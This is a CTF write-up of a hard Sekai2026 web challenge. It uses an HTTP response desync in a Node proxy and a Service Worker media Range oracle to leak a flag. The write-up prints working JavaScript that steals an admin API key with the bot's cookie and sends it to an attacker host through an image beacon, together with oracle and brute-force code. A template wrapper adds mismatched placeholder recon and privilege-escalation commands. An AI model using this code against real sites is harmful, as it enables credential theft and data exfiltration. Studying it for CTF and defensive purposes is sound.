EnD BLOCK BLOCK BLOCK BLOCK
EnD BLOCK BLOCK BLOCK BLOCK
Platform: Sekai2026 | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-29 | Status: Solved Techniques: http_response_desync, admin_bot_exfiltration, service_worker_range_oracle, opaque_response_replay, prefix_bruteforce
Summary
Task: a Node proxy, Flask API, and Puppeteer bot expose an admin API key and a Range-enabled inbox search. Solution: desync a script response for same-origin JS, then use a Service Worker media Range oracle to brute-force the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
sekai2026| ID:20260629_sekai2026_end_block_block_block_block - Tags: csp, puppeteer_bot, nodejs_proxy, flask_api, service_worker, response_desync, range_request, xs_leak
- Indicators: proxy rewrites script responses to Content-Length: 0, upstream body is still piped after header rewrite, send_file(..., conditional=True) enables Range, bot treats attacker HTTP origin as secure, empty miss JSON length is 15 bytes
- Source:
20260629_sekai2026_end_block_block_block_block.md
Foothold
Vulnerability / Misconfiguration
- Http_response_desync
- Admin_bot_exfiltration
- Service_worker_range_oracle
- Opaque_response_replay
- Prefix_bruteforce
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- http_response_desync
- admin_bot_exfiltration
- service_worker_range_oracle
- opaque_response_replay
- prefix_bruteforce
- Tags: csp, puppeteer_bot, nodejs_proxy, flask_api, service_worker, response_desync, range_request, xs_leak
Original Writeup
<details><summary>Click to expand original content</summary>EnD BLOCK BLOCK BLOCK BLOCK — sekai2026
Description
EnD BLOCK BLOCK BLOCK BLOCK
English summary: the challenge provided a Node.js proxy, an internal Flask API, and a Puppeteer admin bot. The goal was to recover the secret stored in the API inbox, which was also the flag.
Architecture
The deployment had three relevant components:
- A Node proxy on
localhost:3000. - A Flask API on
localhost:9090. - A Puppeteer bot with an HttpOnly admin session cookie for the proxy.
The proxy's /admin page is only visible to the bot and embeds the API URL and API key:
function renderAdmin() {
return ADMIN_HTML
.replace('{{API_URL}}', esc(API_URL))
.replace('{{API_KEY}}', esc(API_KEY))
}
The API contains the flag in _INBOX and implements a prefix search:
_SECRET = os.environ["OAUTH_SECRET"]
_API_KEY = hmac.new(_SECRET.encode(), b"api-auth", "sha256").hexdigest()[:16]
_INBOX = [_SECRET]
@app.route("/messages/search")
def search():
if not hmac.compare_digest(request.args.get("key", ""), _API_KEY):
return jsonify({"error": "Unauthorized"}), 401
q = request.args.get("q", "")
results = [m for m in _INBOX if m.startswith(q)]
data = json.dumps({"results": results}).encode()
return send_file(io.BytesIO(data), mimetype="application/json", conditional=True)
The important detail is conditional=True: Flask/Werkzeug supports Range requests for this in-memory file.
The bot makes the submitted HTTP origin a secure context:
args.push(`--unsafely-treat-insecure-origin-as-secure=${httpOrigins.join(',')}`)
This allowed registering a Service Worker on the attacker-controlled HTTP origin.
Analysis
Stage 1: proxy response desynchronization
The proxy blocks attacker-controlled scripts by rewriting proxied responses requested as scripts:
if (req.headers['sec-fetch-dest'] === 'script') {
h['content-length'] = '0'
delete h['transfer-encoding']
}
res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res)
The header rewrite says the response body is empty, but the upstream body is still piped to the HTTP/1.1 connection. Those extra bytes can be shaped as a second raw HTTP response. A later pending browser request on the same connection can consume that smuggled response.
Reliability required connection-pool pressure. A page registered with /add and opened under /view/<name>/ loaded many relative async script URLs:
<script async src="s0.js?..."></script> <script async src="s1.js?..."></script> ...
The URLs must be relative (s0.js), not absolute (/s0.js), so that they stay below /view/<name>/s0.js and are proxied through the vulnerable proxy route.
One upstream script endpoint returned a body that was itself a raw JavaScript HTTP response. The outer response used a matching Content-Length, flushed headers, waited briefly, and then wrote the fake response bytes:
def admin_stealing_js(public):
return f"""
(async()=>{{
try {{
const html = await (await fetch('/admin', {{credentials:'include'}})).text();
const key = (html.match(/id=["']api-key["'][^>]*>([^<]+)/)||[])[1] || '';
const api = (html.match(/id=["']api-url["'][^>]*>([^<]+)/)||[])[1] || '';
(new Image()).src = {public!r} + '/leak?key=' + encodeURIComponent(key)
+ '&api=' + encodeURIComponent(api) + '&t=' + Date.now();
}} catch(e) {{
(new Image()).src = {public!r} + '/err?e=' + encodeURIComponent(String(e));
}}
}})();
""".encode()
def fake_response(public):
body = admin_stealing_js(public)
return (b"HTTP/1.1 200 OK\r\n"
b"Content-Type: application/javascript\r\n"
b"Content-Length: " + str(len(body)).encode() +
b"\r\nConnection: keep-alive\r\n\r\n" + body)
# Inside the malicious upstream handler for /s6.js:
payload = fake_response(public)
send_response(200)
send_header('Content-Type', 'text/plain')
send_header('Content-Length', str(len(payload)))
send_header('Expect', '100-continue')
end_headers()
wfile.flush()
time.sleep(0.5)
wfile.write(payload)
The smuggled JavaScript executed as same-origin script on http://localhost:3000, fetched /admin with the bot's cookie, parsed #api-key and #api-url, and exfiltrated them through an image beacon. Image exfiltration was necessary because the CSP allowed img-src *, while outbound fetch() was blocked by default-src 'self'.
The live values recovered were:
API key: 37e81eb38cafce6d API URL: http://localhost:9090
Stage 2: why the API still needed a side channel
The API did not allow CORS, so same-origin JavaScript from the proxy could not directly read http://localhost:9090/messages/search. However, the search endpoint's response size leaked whether a prefix matched:
- Miss:
{"results": []}has length 15. - Hit:
{"results": ["SEKAI{...}"]}is longer.
Therefore, with Range: bytes=16-:
- A hit returns
206 Partial Content. - A miss returns
416 Range Not Satisfiable.
Normal cross-origin resources did not expose this distinction. The working oracle used Chromium's handling of media Range requests plus Service Worker opaque response replay.
Solution
Critical Service Worker oracle
The key discovery was that the second Range request must be generated by Chromium itself. Do not synthesize it with:
new Request(apiUrl, {headers: {Range: 'bytes=16-'}})
That loses Chromium's internal Range-request state and makes the oracle useless. Instead, point a media element directly at the cross-origin API URL. The Service Worker intercepts the real media request sequence:
- Browser requests
Range: bytes=0-for the API URL. - The Service Worker returns a fake
206containing 16 bytes andContent-Range: bytes 0-15/13337. - Chromium issues the real second request,
Range: bytes=16-, to the same cross-origin API URL. - The Service Worker calls
fetch(e.request)exactly and stores the opaque response. - Replaying the stored opaque response to
fetch('/mock.css', {mode:'no-cors'})gives a boolean:
416miss resolves.206hit rejects with a network error.
Minimal Service Worker logic:
let cfg = {size: 16};
let stored = null;
self.addEventListener('install', e => self.skipWaiting());
self.addEventListener('activate', e => e.waitUntil(self.clients.claim()));
self.onmessage = e => { cfg = e.data || cfg; stored = null; };
function fake206() {
const size = Number(cfg.size || 16);
return new Response(new Uint8Array(size), {
status: 206,
headers: {
'Content-Type': 'audio/mp4',
'Content-Range': `bytes 0-${size - 1}/13337`,
'Content-Length': String(size)
}
});
}
self.onfetch = e => {
const u = new URL(e.request.url);
const range = e.request.headers.get('range') || '';
const size = Number(cfg.size || 16);
if (range === 'bytes=0-') {
return e.respondWith(fake206());
}
if (range === `bytes=${size}-`) {
return e.respondWith((async () => {
// Critical: preserve Chromium's internal media Range request state.
stored = await fetch(e.request);
return stored.clone();
})());
}
if (u.pathname === '/mock.css' && stored) {
return e.respondWith(stored.clone());
}
};
The probing page used an <audio> element for each candidate prefix:
async function probe(q) {
const size = 16;
navigator.serviceWorker.controller.postMessage({api, key, q, size});
await sleep(50);
await new Promise(resolve => {
const url = api.replace(/\/$/, '') + '/messages/search?key='
+ encodeURIComponent(key) + '&q=' + encodeURIComponent(q) + '&r=' + Math.random();
const a = new Audio(url);
a.preload = 'auto';
a.onerror = resolve;
a.onabort = resolve;
document.body.appendChild(a);
try { a.load(); } catch(e) { resolve(); }
setTimeout(resolve, 2500);
});
try {
await fetch('/mock.css?' + Math.random(), {mode: 'no-cors'});
return false; // miss: stored 416 replay resolves
} catch(e) {
return true; // hit: stored 206 replay rejects
}
}
Then the flag was recovered one character at a time:
let pref = 'SEKAI{';
const alphabet = 'SEKAI{}_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_$!@#%&*()+,./:;<=>?[]^`|~';
for (;;) {
let advanced = false;
for (const ch of alphabet) {
const q = pref + ch;
if (await probe(q)) {
pref = q;
leak('pref:' + pref);
advanced = true;
break;
}
}
if (!advanced || pref.endsWith('}')) break;
}
Because the bot session timed out, the oracle was restarted with the last known prefix several times. Intermediate recovered prefixes included:
SEKAI{REDACTED...
SEKAI{REDACTED...
The final recovered flag was:
SEKAI{REDACTED}
Failed Attempts
- Sequential response queue poisoning was unreliable; saturating the browser connection pool with async scripts was required.
- CSS, SVG, iframe, scriptless leaks, XSLT, Service Worker opaque
/adminlaundering, API resource XS-leaks, and CVE-2023-4357-style ideas did not yield a complete leak. - Cache API replay and manually constructed Range requests made the oracle always true or always false. The exact
fetch(e.request)on Chromium's own second media Range request was required.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR